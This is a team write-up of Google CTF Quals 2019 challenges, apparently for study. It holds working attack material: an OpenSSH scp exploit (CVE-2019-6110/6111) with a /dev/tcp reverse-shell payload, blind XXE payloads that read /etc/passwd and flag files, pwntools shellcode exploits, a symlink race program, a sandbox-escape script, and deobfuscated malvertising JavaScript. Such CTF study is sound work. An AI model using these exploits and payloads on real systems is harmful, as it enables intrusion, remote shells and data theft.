Google CTF Quals 2019
Reverse
Malvertising
First stage
- We got a webpage in this challenge, and the only interesting thing is a java script file
src/metrics.js
- We can tell that it uses some obfuscation techniques. But we can use function
b
to decode the encoded string. - In the end of
src/metrics.js
, you can find out the following code.
var s = b('0x16', '%RuL');
var t = document[b('0x17', 'jAUm')](b('0x18', '3hyK'));
t[b('0x19', 'F#*Z')] = function() {
try {
var u = steg[b('0x1a', 'OfTH')](t);
} catch (v) {}
if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i [b('0x1b', 'JQ&l')](navigator[b('0x1c', 'IfD@')]))) {
s[s][s](u)();
}
};
It use regex to match the string 'android' in useragent. So the first stage needs you to modify your useragent
Second stage
Then we have another js file
src/uHsdvEHFDwljZFhPyKxp.js
var T = {};
T.e0 = function(a, b) {
var c, d, e;
return a = String(a), b = String(b), 0 == a.length ? '' : (c = T.f0(a.u0()), d = T.f0(b.u0().slice(0, 16)), c.length, c = T.e1(c, d), e = T.longsToStr(c), e.b0())
}, T.d0 = function(a, b) {
var c, d;
return a = String(a), b = String(b), 0 == a.length ? '' : (c = T.f0(a.b1()), d = T.f0(b.u0().slice(0, 16)), c.length, c = T.d1(c, d), a = T.longsToStr(c), a = a.replace(/\0+$/, ''), a.u1())
}, T.e1 = function(a, b) {
var c, d, e, f, g, h, i, j, k;
for (a.length < 2 && (a[1] = 0), c = a.length, d = a[c - 1], e = a[0], f = 2654435769, i = Math.floor(6 + 52 / c), j = 0; i-- > 0;)
for (j += f, h = 3 & j >>> 2, k = 0; c > k; k++) e = a[(k + 1) % c], g = (d >>> 5 ^ e << 2) + (e >>> 3 ^ d << 4) ^ (j ^ e) + (b[3 & k ^ h] ^ d), d = a[k] += g;
return a
}, T.d1 = function(a, b) {
for (var c, d, e, f = a.length, g = a[f - 1], h = a[0], i = 2654435769, j = Math.floor(6 + 52 / f), k = j * i; 0 != k;) {
for (d = 3 & k >>> 2, e = f - 1; e >= 0; e--) g = a[e > 0 ? e - 1 : f - 1], c = (g >>> 5 ^ h << 2) + (h >>> 3 ^ g << 4) ^ (k ^ h) + (b[3 & e ^ d] ^ g), h = a[e] -= c;
k -= i
}
return a
}, T.f0 = function(a) {
var b, c = new Array(Math.ceil(a.length / 4));
for (b = 0; b < c.length; b++) c[b] = a.charCodeAt(4 * b) + (a.charCodeAt(4 * b + 1) << 8) + (a.charCodeAt(4 * b + 2) << 16) + (a.charCodeAt(4 * b + 3) << 24);
return c
}, T.longsToStr = function(a) {
var b, c = new Array(a.length);
for (b = 0; b < a.length; b++) c[b] = String.fromCharCode(255 & a[b], 255 & a[b] >>> 8, 255 & a[b] >>> 16, 255 & a[b] >>> 24);
return c.join('')
}, 'undefined' == typeof String.prototype.u0 && (String.prototype.u0 = function() {
return unescape(encodeURIComponent(this))
}), 'undefined' == typeof String.prototype.u1 && (String.prototype.u1 = function() {
try {
return decodeURIComponent(escape(this))
} catch (a) {
return this
}
}), 'undefined' == typeof String.prototype.b0 && (String.prototype.b0 = function() {
if ('undefined' != typeof btoa) return btoa(this);
if ('undefined' != typeof Buffer) return new Buffer(this, 'utf8').toString('base64');
throw new Error('err')
}), 'undefined' == typeof String.prototype.b1 && (String.prototype.b1 = function() {
if ('undefined' != typeof atob) return atob(this);
if ('undefined' != typeof Buffer) return new Buffer(this, 'base64').toString('utf8');
throw new Error('err')
}), 'undefined' != typeof module && module.exports && (module.exports = T), 'function' == typeof define && define.amd && define([''], function() {
return T
});
function dJw() {
try {
return navigator.platform.toUpperCase().substr(0, 5) + Number(/android/i.test(navigator.userAgent)) + Number(/AdsBot/i.test(navigator.userAgent)) + Number(/Google/i.test(navigator.userAgent)) + Number(/geoedge/i.test(navigator.userAgent)) + Number(/tmt/i.test(navigator.userAgent)) + navigator.language.toUpperCase().substr(0, 2) + Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer)) + Number(/geoedge/i.test(document.referrer)) + Number(/tmt/i.test(document.referrer)) + performance.navigation.type + performance.navigation.redirectCount + Number(navigator.cookieEnabled) + Number(navigator.onLine) + navigator.appCodeName.toUpperCase().substr(0, 7) + Number(navigator.maxTouchPoints > 0) + Number((undefined == window.chrome) ? true : (undefined == window.chrome.app)) + navigator.plugins.length
} catch (e) {
return 'err'
}
};
a = "A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng=="
eval(T.d0(a, dJw()));
- After some investigations, I found out that T.d0() is actually doing XXTEA decryption. And it took dJw() as key.
- dJw() will take your browser information and generate a string like
ANDRO00000ZH0000011MOZILLA010
. But XXTEA only took first 16 bytes, so only the first 16 bytes matter. - Just bruteforce all the possible combinations. We can find out the key is
LINUX10000FR1000
Third stage
- Still, we got a js file
src/npoTHyBXnpZWgLorNrYc.js
. - It use the similar trick in first script to encode strings.
- You just decode all the strings in the script then you can find out the last js file
src/WFmJWvYBQmZnedwpdQBU.js
- In that script you can get the flag
CTF{I-LOVE-MALVERTISING-wkJsuw}
Flaggy Bird
Use jadx to decompile the java code.
The program would read "level%d.bin".
"level%d.bin" is a gziped game map, move the flag button next to the player.
But there is no flag...
Check the code and discover that need to put EGG in EGG_HOLDER.
And there is a lib name "library".
The M
function is a merge sort.
The C
function will a the input 2 by 2.
Using mountain climbing algorithm
to solve the problem.
// by qazwsxedcrfvtg14
#include<bits/stdc++.h>
#define f first
#define s second
using namespace std;
typedef pair<int,int>par;
typedef pair<par,char>pr;
#define __int64 long long
int c;
int p;
int d[]={0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0};
int XD;
unsigned long long M(char *dest, signed int a2)
{
__int64 v2; // r13
int v3; // er12
char *v4; // rbp
__int64 v5; // rbx
int v6; // er14
signed int v7; // eax
char v8; // dl
__int64 v9; // rbp
char desta[16]; // [rsp+10h] [rbp-48h]
unsigned __int64 v12; // [rsp+20h] [rbp-38h]
v12 = (0x28u);
if ( a2 >= 2 )
{
v2 = (unsigned int)a2 >> 1;
M(dest, (unsigned int)a2 >> 1);
if ( c )
{
v3 = a2 - v2;
v4 = &dest[v2];
M(&dest[v2], a2 - v2);
XD++;
if ( c )
{
if ( v3 > 0 )
{
v5 = 0LL;
v6 = 0;
v7 = 0;
while ( 1 )
{
v8 = v4[v6];
if ( dest[v7] >= v8 )
{
if ( dest[v7] <= v8 || d[p] )
{
LABEL_15:
c = 0;
return (0x28u);
}
++p;
desta[v5] = v4[v6++];
}
else
{
if ( d[p] != 1 )
goto LABEL_15;
++p;
desta[v5] = dest[v7++];
}
++v5;
if ( v7 >= (signed int)v2 || v6 >= v3 )
goto LABEL_17;
}
}
v7 = 0;
v6 = 0;
v5 = 0;
LABEL_17:
if ( v7 < (signed int)v2 )
{
v9 = (unsigned int)(v2 - 1 - v7);
memcpy(&desta[(signed int)v5], &dest[v7], v9 + 1);
v5 = v5 + v9 + 1;
}
if ( v6 < v3 )
memcpy(&desta[(signed int)v5], &dest[v2 + v6], (unsigned int)(a2 - 1 - v6 - v2) + 1LL);
memcpy(dest, desta, a2);
}
}
}
return (0x28u);
}
char inp[16];
char s[16];
char best[16];
char ss[100];
int main(){
for(int i=0;i<16;i++)
s[i]=best[i]=i;
string t;
srand(87);
c=1;
p=0;XD=0;
M(s,16);
int bst=p;
printf("%d %d %d %d\n",c,p,XD,bst);
for(int i=0;i<16;i++)
printf("%02x ",s[i]);
getline(cin,t);
while(true)
for(int x=0;x<16*31;x++){
c=1;
p=0;
int k=5;
if(bst>=20)k=4;
if(bst>=30)k=3;
if(bst>=38)k=2;
for(int i=0;i<k;i++)
swap(s[rand()%16],s[rand()%16]);
for(int i=0;i<16;i++){
printf("%02x ",s[i]);
inp[i]=s[i];
}
puts("");
XD=0;
M(s,16);
printf("> ");
for(int i=0;i<16;i++)
printf("%02x ",s[i]);
puts("");
printf("%d %d %d %d\n",c,p,XD,bst);
if(p>bst){
bst=p;
for(int i=0;i<16;i++)
best[i]=inp[i];
for(int i=0;i<16;i++)
fprintf(stderr,"%02x ",inp[i]);
fprintf(stderr,"\n");
getline(cin,t);
if(c==1)return 0;
}
else{
for(int i=0;i<16;i++)
s[i]=best[i];
}
}
return 0;
}
And will find this input can pass M
and C
0x09,0x08,0x07,0x02,0x0b,0x0f,0x0d,0x0a,0x06,0x05,0x0e,0x04,0x03,0x00,0x0c,0x01
And the java code says, there only 15 EGG_HOLDER can hold EGG.
So brute force 2^15 possible of input which would satisfy the sha256.
sha-256: 2e325c91c91478b35c2e0cb65b7851c6fa98855a77c3bfd3f00840bc99ace26b
Input the final array into the game, and get the flag.
flag: CTF{Up_d0WN_TAp_TAp_TAp_tHe_b1rd_g0Es_flaG_flaG_flaG}
Dialtone
Read the full writeup here.
TL;DR
- Reverse the executable
- Extract the sequence from switch case.
- Convert to value using a DTMF keypad table.
Misc
Doomed to Repeat It
Look the source code random.go
, and there only 131072 possible game.
Just write a program to get all of the game.
#include<bits/stdc++.h>
#include"Jtol.h" //https://github.com/qazwsxedcrfvtg14/Jtol.Linux
#include "openssl/sha.h"
#include "argon2.h"
using namespace Jtol;
using namespace std;
typedef unsigned long long ull;
typedef const unsigned long long cull;
string argon2(ull input){
char has[8];
argon2id_hash_raw(1, 2*1024, 2, (uint8_t*)&input, 8, (uint8_t*)&input, 8, has, 8);
return string(has,8);
}
vector<int> god[1<<20];
int main(){
mutex mut;
Thread th[16];
for(int t=0;t<16;t++){
th[t]=ThreadCreate([&](int tid){
for(ull i=tid;i<(1<<17);i+=16){
ull raw_seed=i*14496946463017271296ull;
string seed=argon2(raw_seed);
printf("%d\n",i);
char buf[16];
vector<int>ve;
for(int j=0;j<56;j++)
ve.push_back(j/2);
int x=0;
for(int j=56-1;j>=0;j--){
int k=-1;
ull n=j+1;
while(true){
*((ull*)&(buf[0]))=x++;
*((ull*)&(buf[8]))=*(ull*)(seed.c_str());
MD5 m5 = MD5(string(buf,16));
ull v=*((ull*)&m5.digest[0]);
ull possibleRes = v % n;
ull timesPassed = v / n;
if (timesPassed == 0) {
k=possibleRes;
break;
}
ull distancePassed = timesPassed * n;
ull distanceLeft = 0 - distancePassed;
if (distanceLeft >= n){
k=possibleRes;
break;
}
}
swap(ve[j],ve[k]);
}
mut.lock();
god[ve[0]|(ve[1]<<5)|(ve[2]<<10)|(ve[3]<<15)]=ve;
mut.unlock();
}
},t);
}
for(int t=0;t<16;t++)
Wait(th[t]);
puts("");
while(true){
int a,b,c,d;
scanf("%d%d%d%d",&a,&b,&c,&d);
puts("");
int cnt=0;
for(int x:god[a|(b<<5)|(c<<10)|(d<<15)]){
printf("%2d ",x);cnt++;
if(cnt%7==0)puts("");
}
puts("");
}
return 0;
}
flag: CTF{PastPerf0rmanceIsIndicativeOfFutureResults}
bob needs a file
scp
CVE-2019-6110 CVE-2019-6111, there is a poc available: https://gist.github.com/mehaase/63e45c17bdbbd59e8e68d02ec58f4ca2
The server will scp a file data.txt
from the given ip:2222, and output the "result" to ip:2223. Here is the result from the server:
## generated by generatereport
## generatereport failed. Error: unknown
One intuition is that the server will execute the file generatereport
and return the result to ip:2223. Turned out our assumption was correct as we didn't receive any response if we overwrite the file generatereport
. Thus, we can overwrite generatereport
to a reverseshell bash script to get a shell.
# Exploit Title: SSHtranger Things
# Date: 2019-01-17
# Exploit Author: Mark E. Haase <mhaase@hyperiongray.com>
# Vendor Homepage: https://www.openssh.com/
# Software Link: [download link if available]
# Version: OpenSSH 7.6p1
# Tested on: Ubuntu 18.04.1 LTS
# CVE : CVE-2019-6111, CVE-2019-6110
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading
logging.basicConfig(level=logging.INFO)
dummy = 'cat /etc/passwd\n'
payload = '#!/bin/bash\nbash -i >& /dev/tcp/<your ip>/2223 0>&1'
class ScpServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
logging.info('Authenticated with %s:%s', username, password)
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid):
logging.info('Opened session channel %d', chanid)
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_channel_exec_request(self, channel, command):
command = command.decode('ascii')
logging.info('Approving exec request: %s', command)
parts = command.split(' ')
# Make sure that this is a request to get a file:
assert parts[0] == 'scp'
assert '-f' in parts
file = parts[-1]
# Send file from a new thread.
threading.Thread(target=self.send_file, args=(channel, file)).start()
return True
def send_file(self, channel, file):
'''
The meat of the exploit:
1. Send the requested file.
2. Send another file (exploit.txt) that was not requested.
3. Print ANSI escape sequences to stderr to hide the transfer of
exploit.txt.
'''
def wait_ok():
assert channel.recv(1024) == b'\x00'
def send_ok():
channel.sendall(b'\x00')
wait_ok()
logging.info('Sending requested file "%s" to channel %d', file,
channel.get_id())
command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(dummy)
send_ok()
wait_ok()
# This is CVE-2019-6111: whatever file the client requested, we send
# them 'exploit.txt' instead.
logging.info('Sending malicious file "exploit.txt" to channel %d',
channel.get_id())
command = 'C0777 {} generatereport\n'.format(len(payload)).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(payload)
send_ok()
wait_ok()
# This is CVE-2019-6110: the client will display the text that we send
# to stderr, even if it contains ANSI escape sequences. We can send
# ANSI codes that clear the current line to hide the fact that a second
# file was transmitted..
logging.info('Covering our tracks by sending ANSI escape sequence')
channel.sendall_stderr("\x1b[1A".encode('ascii'))
channel.close()
def main():
logging.info('Creating a temporary RSA host key...')
host_key = paramiko.rsakey.RSAKey.generate(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 2222))
sock.listen(0)
logging.info('Listening on port 2222...')
while True:
client, addr = sock.accept()
logging.info('Received connection from %s:%s', *addr)
transport = paramiko.Transport(client)
transport.add_server_key(host_key)
server = ScpServer()
transport.start_server(server=server)
if __name__ == '__main__':
main()
Flag: CTF{0verwr1teTh3Night}
Hardware
flagrom
Read the full writeup here.
TL;DR
- Communicate to the EEPROM using raw I²C GPIO.
- Set the
i2c_address_valid
bit using address 0. - Force reset the state by trigging
i2c_start
. - Lock all pages.
- Force reset the state by trigging
i2c_start
. - Read the whole memory out.
Remote Control
Read the full writeup here.
TL;DR
- Guess 🤔
- Guess again 🤔
- Guess once again 🤔
- Send a NEC IR message using that IOT hub.
minetest
Read the full writeup here.
TL;DR
- Parse the map database.
- Dump all mesecons blocks' type, orientation, and position.
- Simplify all interconnections.
- Solve the boolean expression with z3.
Web
BNV
This challenge uses javascript to encode our selection to braille code.
(https://www.pharmabraille.com/pharmaceutical-braille/the-braille-alphabet/)
And it will send the data to /api/search
with content-type application/json
.
If we try to change the content-type to application/xml
, it will return XML Parse Error.
So we know that target server supports XML format as input.
And there is no response output for xxe payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<message>&xxe;</message>
But if we try existent file, it will return No result found
And if we try non-existent file, it will return Error: Failure to process entity xxe, line 6, column 15
So there is a blind XXE, we need to exfiltrate the result of XXE.
This challenge disable http request, so we can't use out-of-band XXE.
Then, I try the Error-based XXE to bring the result into error message.
(https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/)
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>a</message>
flag: CTF{0x1033_75008_1004x0}
gLotto
Read the full writeup here.
TL;DR
- Concatenate part of the secret to winner, and order by its MD5 hash.
- Pre-compute a mapping from permutation to secret offline.
- Use SQL injection to order the result by our comparing function
- Map the permutation back to a possible secret
- Keep trying until the flag pops up.
Pwn
MicroServiceDaemonOS
There are two command l
for creating two different type object, c
for executing the object function created by l
command.
Each object has its own execution section with 2 pages and data section with 0x7ff8 pages created by mmap, and different functionalities. And these mmap region are continuous.
In type 0 object, there is a function can calculate each page hash value and print to the screen.
In type 1 object, there is a function can write random value to its own init_random+user_offset
th page of data section. user_offset
is user input value without any check that we can control, and init_random
is initalized at program start.
So, we can construct our exploit.
Creating type 0 object and type 1 object respectly, using object 2 write some data onto the data section of first object.
And using functionality of object 1, leak the init_random
.
Thus, we can write our shellcode byte by byte to the execution section of object.
Get Shell!
from pwn import *
r = process(["./MicroServiceDaemonOS"])
#r = remote("microservicedaemonos.ctfcompetition.com", 1337)
r.sendlineafter(":","l")
r.sendlineafter(":","0")
r.sendlineafter(":","l")
r.sendlineafter(":","1")
r.sendlineafter(":","c")
r.sendlineafter(":","1")
r.sendlineafter(":","s")
r.sendlineafter(":",str(0x40))
r.sendlineafter(":","-"+str(0x8000000))
r.send("a"*0x40)
r.sendlineafter("command:","c")
r.sendlineafter(":","0")
r.sendlineafter(":","g")
r.sendlineafter(":","0")
r.sendlineafter(": ",str(0x7fd8))
data = r.recvn(0x7fd8*4)
data = [ data[i:i+4] for i in range(0,len(data),4)]
A,B = set(data)
if A==data[0]:
A = B
idx = data.index(A)
context.arch = "amd64"
shellcode = asm("""
push rax
pop rsi
xor eax,eax
push rax
pop rdi
syscall
""")
for i in range(len(shellcode)):
while True:
print(i, len(shellcode))
r.sendlineafter(":","c")
r.sendlineafter(":","1")
r.sendlineafter(":","s")
r.sendlineafter(":",str(1))
r.sendlineafter(": ","-"+str(idx*0x1000+0x4000-i))
r.send("a")
if r.recvn(1) == shellcode[i]:
break
r.sendlineafter(":","c")
r.sendlineafter(":","1")
r.sendlineafter(":","g")
r.send("\x90"*0x10+asm(shellcraft.sh()))
r.interactive()
Secure Boot
The goal of the challenge is very clear, just boot the machine successfully. But this machine was enabled Secure Boot Configuration, thus if boot it directly, we will get this messege:
UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
...
Booting...
Script Error Status: Security Violation (line number 5)
Try some hotkey like ESC
, it will enter the BIOS interface and ask for the password:
BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
****************************
* *
* Welcome to the BIOS! *
* *
****************************
Password?
- Use
uefi-firmware-parser
to extract dll files fromOVMF.fd
:
uefi-firmware-parser ./OVMF.fd -e
We'll get several dll files:
/home/google-ctf/edk2/Build/OvmfX64/RELEASE_GCC5/X64/MdeModulePkg/Application/UiApp/UiApp/DEBUG/UiApp.dll
/home/google-ctf/edk2/Build/OvmfX64/RELEASE_GCC5/X64/MdeModulePkg/Universal/BdsDxe/BdsDxe/DEBUG/BdsDxe.dll
/home/google-ctf/edk2/Build/OvmfX64/RELEASE_GCC5/X64/OvmfPkg/Sec/SecMain/DEBUG/SecMain.dll
...
First check out the UiApp.dll
for reversing BIOS. There is a simple overflow, password buffer has the length 0x80 byte, but we are able to input 0x8b byte to it, it can just right overwrite the data pointer for 4 byte.
For now, we can write everywhere. We decided to overwrite some function pointer to continue booting, but the content to write was uncontrollable, it like the hash value of the password.
Finally we decided to find the password which last byte of hash is nearby enough offset, return address is at 0x7ec18b8
, we overwrite the pointer with 0x7ec18b8 - 0x20 + 1
to overflow the return address for just one byte.
For this password payload:
p = '\x05' * 0x20
p = p.ljust( 0x20 , '\x01' )
p = p.ljust( 0x88 , 'a' )
p += p32( 0x7ec18b8 - 0x20 + 1 )
the last byte of hash value of this password is \x13
, and the original return address is 0x67d4d34
. We overflow it to let it become 0x67d4d13
:
0x67d4d13: sbb BYTE PTR [rcx],al
0x67d4d15: add dh,al
0x67d4d17: add eax,0x11dfc
0x67d4d1c: add DWORD PTR [rcx+0x11e9d05],ecx
0x67d4d22: add BYTE PTR [rbx+0x118a705],cl
0x67d4d28: add BYTE PTR [rcx+0x11e8d05],cl
0x67d4d2e: add al,ch
0x67d4d30: sbb al,0x61
0x67d4d32: add BYTE PTR [rax],al
0x67d4d34: test al,al
0x67d4d36: jne 0x67d4d49
0x67d4d38: lea rcx,[rip+0xa11f] # 0x67dee5e
0x67d4d3f: call 0x67cc3fd
0x67d4d44: jmp 0x67d5eb6
=> 0x67d4d49: cmp BYTE PTR [rip+0x11e00],0x0 # 0x67e6b50
It didn't crash, that was awesome! The al
was not zero now, so that it will bypass test al,al
checking and took the branch at jne 0x67d4d49
then entered the BIOS.
For now, just use some control keys UP DOWN LEFT RIGHT
to control the BIOS interface.
Disable Secure Boot Configuration, and reset:
- Enter Device Manager
- Enter Secure Boot Configuration
- Disable it!
- Enjoty the machine.
Flag: CTF{pl4y1ng_with_v1rt_3F1_just_4fun}
Sandbox
DevMaster 8000
- Use client to grab flag
./client nc devmaster.ctfcompetition.com 1337 \
-- -- -- ../../drop_privs admin admin cat ../../flag
flag : CTF{two-individually-secure-sandboxes-may-together-be-insecure}
DevMaster 8001
The fetch command in the server process has a symlink race condition. First we created a normal file in the sandbox and fetched it. During the fetch command, we rapidly flipped the target file betwen a symlink pointing to the flag file and a normal file. If the target file is a normal file when doing the file check and gets changed to the symlink when reading its content, we can donwload the flag file.
flag : CTF{devMaster-8001-premium-flag}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
while (1) {
close(open("c.out", O_CREAT));
symlink("/home/user/flag", "d.out");
rename("c.out", "b.out");
rename("d.out", "b.out");
}
return 0;
}
sandbox-caas
- Double fetch Host cause connect failed
- Receive connect failed socket fd from RPC Server
- Because this socket is fetch from out of sandbox, it's Network Namespace is different from sandbox
- We can connect to flag server by this socket
flag : CTF{W3irD_qu1rKs}
from pwn import *
context.arch = "amd64"
r = remote("caas.ctfcompetition.com", 1337)
context.arch = "amd64"
shellcode = ""
shellcode += asm(shellcraft.pushstr("127.0.0.1"))
shellcode += asm("""
mov r15,rsp
push 0
push 8080
push r15
mov rsi,rsp
mov rdi,100
mov rdx,24
mov rax,1
syscall
""") #send connect req
shellcode += asm("""
add r15,8
mov rsi,r15
mov rax,0
mov rdi,0
mov rdx,0x1
syscall
""") #read and change host
shellcode += asm("""
mov rax,0
mov rdi,100
mov rsi,rsp
mov rdx,16
syscall
""") #receive resp
shellcode += asm("""
sub rsp,1
mov r14,rsp
push 1
push r14
mov r14,rsp
sub rsp,0x800
mov r13,rsp
push 0
push 0x800
push r13
push 1
push r14
push 0
push 0
mov rsi,rsp
mov rdi,100
mov rdx,0
mov rax,47
syscall""") #recieve fd
shellcode += asm("""
mov rbx,0x0100007f0a1a0002
push 0
push rbx
mov rsi,rsp
mov rdi,3
mov rdx,0x10
mov rax,42
syscall """) #connect
shellcode += asm("""
mov rdi,0x3
mov rsi,rsp
mov rdx,0x100
mov rax,0
syscall
mov rdx,rax
mov rdi,1
mov rsi,rsp
mov rax,1
syscall
""") #read fd
r.recvuntil("assembly")
r.send(p16(len(shellcode))+shellcode)
time.sleep(0.0015)
r.send("2")
r.interactive()
Crypto
reality
Read the full writeup here.
TL;DR
- Guess what the service does
- Multiply $10^{450}$ to each number and truncate the fraction to integer
- Build the lattice
- Run LLL to find the shortest integer solution
- Decrypt the flag with AES-CBC
Quantum Key Distribution
Read the full writeup here.
TL;DR
- Exchange shared secret using BB84 protocol
- Convert the bit string to char string with correct order
- XOR the secret and encryped key to decrypt it
Reverse a cellular automata
Read the full writeup here.
TL;DR
- Use DFS to find the key
- Decrypt the flag with all those key
- Find the flag which contains
CTF